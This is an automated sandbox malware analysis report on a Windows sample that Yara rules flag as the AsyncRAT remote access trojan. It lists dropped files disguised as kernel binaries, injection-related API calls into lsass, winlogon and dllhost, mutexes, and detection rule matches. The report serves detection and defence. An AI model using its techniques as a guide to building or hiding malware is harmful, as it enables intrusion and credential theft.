Windows Analysis Report
RdLfpZY5A9.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.RdLfpZY5A9.exe.12964350.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.0.KrnlSetupSus.exe.bc0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\ntoskrnl.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C56242C GetProcessIdOfThread,GetCurrentProcessId,CreateFileW,WriteFile,ReadFile,CloseHandle,NtResumeThread,	3_2_1C56242C
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C5624F0 NtQueryDirectoryFile,GetFileType,StrCpyW,	3_2_1C5624F0
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C562DD0 NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	3_2_1C562DD0
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C562214 NtQuerySystemInformation,StrCmpNIW,	3_2_1C562214
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C562AA0 NtEnumerateKey,NtEnumerateKey,	3_2_1C562AA0
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C562B6C NtEnumerateValueKey,NtEnumerateValueKey,	3_2_1C562B6C
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C5627D4 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	3_2_1C5627D4
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C563398 GetProcessHeap,HeapAlloc,NtQuerySystemInformation,StrCmpNIW,GetProcessHeap,RtlFreeHeap,	3_2_1C563398
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADF0F30 NtSetContextThread,	4_2_00007FFB4ADF0F30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADF0C6D NtWriteVirtualMemory,	4_2_00007FFB4ADF0C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADF0FF4 NtResumeThread,	4_2_00007FFB4ADF0FF4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADF0A91 NtUnmapViewOfSection,	4_2_00007FFB4ADF0A91
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001868 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetProcessImageFileNameW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	6_2_0000000140001868
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E991752B6C NtEnumerateValueKey,NtEnumerateValueKey,	7_2_000002E991752B6C
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCE27D4 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	10_2_00000213BDCE27D4
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCE2214 NtQuerySystemInformation,StrCmpNIW,	10_2_00000213BDCE2214
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB1582B6C NtEnumerateValueKey,NtEnumerateValueKey,	12_2_0000026DB1582B6C

Source: C:\ProgramData\KrnlSetupSus.exe

Code function: 3_2_1C562DD0: NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,

3_2_1C562DD0

Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\f71cdae7-f4f8-4fc8-ad0f-e18eef984d56
Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_eco4jnsl.5iq.ps1

Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C562DD0	3_2_1C562DD0
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C56D654	3_2_1C56D654
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C56D7D8	3_2_1C56D7D8
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF9369	3_2_00007FFB4ADF9369
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF7342	3_2_00007FFB4ADF7342
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF1709	3_2_00007FFB4ADF1709
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF2461	3_2_00007FFB4ADF2461
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF6596	3_2_00007FFB4ADF6596
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF1040	3_2_00007FFB4ADF1040
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADFD125	3_2_00007FFB4ADFD125
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_00007FFB4ADF21C1	3_2_00007FFB4ADF21C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADEF895	4_2_00007FFB4ADEF895
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADEDD68	4_2_00007FFB4ADEDD68
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADEE339	4_2_00007FFB4ADEE339
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB0CA54	6_3_00000290EDB0CA54
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB021D0	6_3_00000290EDB021D0
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB0CBD8	6_3_00000290EDB0CBD8
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001D80	6_2_0000000140001D80
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140002DDC	6_2_0000000140002DDC
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000001400024C4	6_2_00000001400024C4
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140003260	6_2_0000000140003260
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001274	6_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD0D654	6_2_00000290EDD0D654
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD02DD0	6_2_00000290EDD02DD0
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD0D7D8	6_2_00000290EDD0D7D8
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E9917221D0	7_3_000002E9917221D0
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E99172CA54	7_3_000002E99172CA54
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E99172CBD8	7_3_000002E99172CBD8
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E991752DD0	7_2_000002E991752DD0
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E99175D654	7_2_000002E99175D654
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E99175D7D8	7_2_000002E99175D7D8
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCBCBD8	10_3_00000213BDCBCBD8
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCBCA54	10_3_00000213BDCBCA54
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCB21D0	10_3_00000213BDCB21D0
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCED7D8	10_2_00000213BDCED7D8
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCED654	10_2_00000213BDCED654
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCE2DD0	10_2_00000213BDCE2DD0
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709ACBD8	11_3_00000158709ACBD8
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709ACA54	11_3_00000158709ACA54
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709A21D0	11_3_00000158709A21D0
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709DD7D8	11_2_00000158709DD7D8
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709DD654	11_2_00000158709DD654
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709D2DD0	11_2_00000158709D2DD0
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB15521D0	12_3_0000026DB15521D0
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB155CA54	12_3_0000026DB155CA54
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB155CBD8	12_3_0000026DB155CBD8
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB1582DD0	12_2_0000026DB1582DD0
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB158D654	12_2_0000026DB158D654
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB158D7D8	12_2_0000026DB158D7D8
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFC21D0	13_3_000002A3EFFC21D0
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFCCBD8	13_3_000002A3EFFCCBD8
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFCCA54	13_3_000002A3EFFCCA54
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F066D654	13_2_000002A3F066D654
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F066D7D8	13_2_000002A3F066D7D8
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F0662DD0	13_2_000002A3F0662DD0
Source: C:\Windows\System32\svchost.exe	Code function: 15_3_000002C9AFB8CBD8	15_3_000002C9AFB8CBD8
Source: C:\Windows\System32\svchost.exe	Code function: 15_3_000002C9AFB8CA54	15_3_000002C9AFB8CA54
Source: C:\Windows\System32\svchost.exe	Code function: 15_3_000002C9AFB821D0	15_3_000002C9AFB821D0
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBBD7D8	15_2_000002C9AFBBD7D8
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBBD654	15_2_000002C9AFBBD654
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBB2DD0	15_2_000002C9AFBB2DD0
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_000002C06F7B21D0	16_3_000002C06F7B21D0
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_000002C06F7BCA54	16_3_000002C06F7BCA54
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_000002C06F7BCBD8	16_3_000002C06F7BCBD8
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD4D654	16_2_000002C06FD4D654
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD42DD0	16_2_000002C06FD42DD0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD4D7D8	16_2_000002C06FD4D7D8
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_000002917C3821D0	17_3_000002917C3821D0
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_000002917C38CA54	17_3_000002917C38CA54
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_000002917C38CBD8	17_3_000002917C38CBD8
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3B2DD0	17_2_000002917C3B2DD0
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3BD654	17_2_000002917C3BD654
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3BD7D8	17_2_000002917C3BD7D8

Source: Install.exe.0.dr

Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: RdLfpZY5A9.exe, 00000000.00000000.1397531330.0000000000644000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOutput.exe4 vs RdLfpZY5A9.exe
Source: RdLfpZY5A9.exe, 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKrnlSetupSus.exe4 vs RdLfpZY5A9.exe
Source: RdLfpZY5A9.exe	Binary or memory string: OriginalFilenameOutput.exe4 vs RdLfpZY5A9.exe

Source: RdLfpZY5A9.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

Process created: Commandline size = 5369

Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.RdLfpZY5A9.exe.12964350.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.0.KrnlSetupSus.exe.bc0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\ntoskrnl.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: RdLfpZY5A9.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RdLfpZY5A9.exe, alIy4urw6ZG2T9PDfBIjnkiqw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: KrnlSetupSus.exe.0.dr, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: KrnlSetupSus.exe.0.dr, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: KrnlSetupSus.exe.0.dr, n2VU5KGecv5aHTrU9Mb0Y.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, n2VU5KGecv5aHTrU9Mb0Y.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, n2VU5KGecv5aHTrU9Mb0Y.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ntoskrnl.exe.3.dr, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ntoskrnl.exe.3.dr, fBE1wflwwjJOP1BboN3oP.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: KrnlSetupSus.exe.0.dr, NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.cs	Base64 encoded string: 'xf3jEcUrMSyjmys4/OnNhvHPGR/qqdPvY70w2iju+1jQeCjSvU15kwu4nKz33CXF'
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.cs	Base64 encoded string: 'xf3jEcUrMSyjmys4/OnNhvHPGR/qqdPvY70w2iju+1jQeCjSvU15kwu4nKz33CXF'
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.cs	Base64 encoded string: 'xf3jEcUrMSyjmys4/OnNhvHPGR/qqdPvY70w2iju+1jQeCjSvU15kwu4nKz33CXF'
Source: ntoskrnl.exe.3.dr, NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.cs	Base64 encoded string: 'xf3jEcUrMSyjmys4/OnNhvHPGR/qqdPvY70w2iju+1jQeCjSvU15kwu4nKz33CXF'

Source: ntoskrnl.exe.3.dr, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: ntoskrnl.exe.3.dr, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: KrnlSetupSus.exe.0.dr, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: KrnlSetupSus.exe.0.dr, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: Security.evtx.21.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sysAud
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.21.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: System.evtx.21.dr	Binary string: C:\Device\HarddiskVolume3al0
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.21.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}H
Source: System.evtx.21.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeP
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.21.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeH**
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.21.dr	Binary string: A\Device\HarddiskVolume3\Program Files\Mozilla Firefox\firefox.exe
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.21.dr	Binary string: L\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.21.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: Security.evtx.21.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.syss
Source: Microsoft-Windows-SMBServer%4Operational.evtx.21.dr	Binary string: DESKTOP-AGET0TR WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.21.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: Microsoft-Windows-SMBServer%4Operational.evtx.21.dr	Binary string: \Device\NetbiosSmb
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.21.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: System.evtx.21.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.21.dr	Binary string: T\Device\HarddiskVolume3\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source: System.evtx.21.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.21.dr	Binary string: 1\Device\HarddiskVolume3\Windows\SysWOW64\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.21.dr	Binary string: user-PC WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.21.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}4
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.21.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: Microsoft-Windows-SmbClient%4Connectivity.evtx.21.dr	Binary string: :\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.21.dr	Binary string: WIN-77KHDDR6TT1 WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: System.evtx.21.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4%%
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.21.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.21.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: System.evtx.21.dr	Binary string: C:\Device\HarddiskVolume3irec`

Source: classification engine

Classification label: mal100.troj.evad.winEXE@16/81@3/4

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140002DDC GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,

6_2_0000000140002DDC

Source: C:\ProgramData\Install.exe

Code function: 2_2_007C151A SysAllocString,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,CoUninitialize,SysFreeString,SysFreeString,SysFreeString,

2_2_007C151A

Source: C:\ProgramData\Install.exe

Code function: 2_2_007C17A5 FindResourceA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,

2_2_007C17A5

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RdLfpZY5A9.exe.log

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Mutant created: \Sessions\1\BaseNamedObjects\jiLAdNeWyW3VITIoy
Source: C:\ProgramData\KrnlSetupSus.exe	Mutant created: \Sessions\1\BaseNamedObjects\KjpilRmwK24FRp3u

Source: C:\ProgramData\KrnlSetupSus.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Source: RdLfpZY5A9.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RdLfpZY5A9.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RdLfpZY5A9.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\RdLfpZY5A9.exe "C:\Users\user\Desktop\RdLfpZY5A9.exe"
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process created: C:\ProgramData\Install.exe "C:\ProgramData\Install.exe"
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process created: C:\ProgramData\KrnlSetupSus.exe "C:\ProgramData\KrnlSetupSus.exe"
